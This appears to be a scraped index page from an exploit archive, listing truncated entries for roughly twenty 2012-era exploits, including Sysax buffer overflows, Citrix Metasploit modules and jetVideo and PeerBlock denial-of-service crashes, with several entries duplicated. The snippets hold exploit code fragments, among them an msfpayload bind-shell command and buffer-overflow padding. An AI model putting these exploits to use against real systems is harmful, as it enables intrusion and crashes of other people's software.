Microsoft Plans Nine Bulletins, Four Critical for February Patch Tuesday

Microsoft will issue nine security updates, four critical, for Patch Tuesday next week, fixing 21 different vulnerabilities in Windows, Internet Explorer, .NET, Silverlight and Office. Seven of the nine may lead to remote code execution, while the other two may lead to elevation of privilege,...

Sysax Multi Server 5.52 Buffer Overflow

!/usr/bin/python Title: Sysax Multi Server " sys.exit1 target = sys.argv1 port = intsys.argv2 user = sys.argv3 password = sys.argv4 opersys = sys.argv5 base64 encode the provided creds creds = base64.encodestringuser+"\x0a"+password msfpayload windows/shellbindtcp LPORT=4444 R|msfencode -e...

Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode Buffer Overflow

Exploit for windows platform in category remote exploits $Id: $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use...

JetVideo 8.0.2 Basic Denial Of Service

Exploit Title: jetVideo Crash Exploit Author: Senator of Pirates Email : [email protected] Software Link: http://www.jetaudio.com/download/jetvideo.html Version: 8.0.2 Basic Tested on: Windows XP PS3 En header = "http://" junk = "A" 20000 payload = header+junk f =...

jetVideo 8.0.2 Denial of Service

Exploit for windows platform in category dos / poc Exploit Title: jetVideo Crash Exploit Author: Senator of Pirates Email : email protected Software Link: http://www.jetaudio.com/download/jetvideo.html Version: 8.0.2 Basic Tested on: Windows XP PS3 En header = "http://" junk = "A" 20000 payload =...

jetVideo 8.0.2 - Denial of Service

Exploit Title: jetVideo Crash Exploit Author: Senator of Pirates Email : [email protected] Software Link: http://www.jetaudio.com/download/jetvideo.html Version: 8.0.2 Basic Tested on: Windows XP PS3 En header = "http://" junk = "A" 20000 payload = header+junk f =...

jetVideo 8.0.2 - Denial of Service

jetVideo 8.0.2 - Denial of Service Exploit Title: jetVideo Crash Exploit Author: Senator of Pirates Email : [email protected] Software Link: http://www.jetaudio.com/download/jetvideo.html Version: 8.0.2 Basic Tested on: Windows XP PS3 En header = "http://" junk = "A" 20000 payload...

PeerBlock 1.1 Denial Of Service

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ======================================================================================================= ======================================================================================================= PeerBlock 1.1 BSOD Author: shinnai mail:...

Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020000 Buffer Overflow

$Id: $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' class Metasploit3 'Citrix...

Citrix Provisioning Services 5.6 SP1 - Streamprocess Opcode 0x40020000 Buffer Overflow (Metasploit)

$Id: $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' class Metasploit3 'Citrix...

Sysax Multi Server 5.52 - File Rename Buffer Overflow Remote Code Execution (Egghunter)

Sysax Multi Server 5.52 - File Rename Buffer Overflow Remote Code Execution Egghunter !/usr/bin/python Title: Sysax Multi Server " sys.exit1 target = sys.argv1 port = intsys.argv2 user = sys.argv3 password = sys.argv4 opersys = sys.argv5 base64 encode the provided creds creds =...

Adobe Flash Player MP4 Sequence Parameter Set Processing

Added: 02/09/2012 CVE: CVE-2011-2140 BID: 49083 OSVDB: 74439 Background Adobe Flash Player is a cross-platform browser plug-in providing visual enhancements for web pages. Problem The Adobe Flash Player Sub1005B396 function allows command execution when a user opens a specially crafted .swf file...

PeerBlock 1.1 - Blue Screen of Death

PeerBlock 1.1 - Blue Screen of Death -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ======================================================================================================= =======================================================================================================...

Sysax Multi Server <= 5.52 File Rename BoF RCE (Egghunter)

Exploit for windows platform in category remote exploits !/usr/bin/python Title: Sysax Multi Server " sys.exit1 target = sys.argv1 port = intsys.argv2 user = sys.argv3 password = sys.argv4 opersys = sys.argv5 base64 encode the provided creds creds = base64.encodestringuser+"\x0a"+password...

PeerBlock 1.1 BSOD

Exploit for windows platform in category dos / poc -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 =======================================================================================================...

Sysax Multi Server 5.52 - File Rename Buffer Overflow Remote Code Execution (Egghunter)

!/usr/bin/python Title: Sysax Multi Server " sys.exit1 target = sys.argv1 port = intsys.argv2 user = sys.argv3 password = sys.argv4 opersys = sys.argv5 base64 encode the provided creds creds = base64.encodestringuser+"\x0a"+password msfpayload windows/shellbindtcp LPORT=4444 R|msfencode -e...

Mozilla Firefox 10.0 Local Null Byte Bypass File Check Execution

...

TORCS 1.3.2 - '.xml' File Buffer Overflow /SafeSEH Evasion

/ Exploit Title: TORCS Research Team Division Author: Andres Gomez and David Mora a.k.a Mighty-D ... Pwn and beans! Software Link: http://torcs.sourceforge.net/ Version: torcs 1.3.2 Vendor notified: 03/02/2012 Tested on: Windows XP Service Pack 3 Spanish CVE : / / Create template.xml file see and...

TORCS 1.3.2 - .xml File Buffer Overflow SafeSEH Evasion

TORCS 1.3.2 - .xml File Buffer Overflow SafeSEH Evasion / Exploit Title: TORCS Research Team Division Author: Andres Gomez and David Mora a.k.a Mighty-D ... Pwn and beans! Software Link: http://torcs.sourceforge.net/ Version: torcs 1.3.2 Vendor notified: 03/02/2012 Tested on: Windows XP Service...

SciTools Understand 2.6 DLL Loading Code Execution

/ SciTools Understand 2.6 wintab32.dll DLL Loading Arbitrary Code Execution Vendor: Scientific Toolworks, Inc. Product web page: http://www.scitools.com Affected version: 2.6 build 598 Summary: Understand is a static analysis tool for maintaining, measuring, and analyzing critical or large code...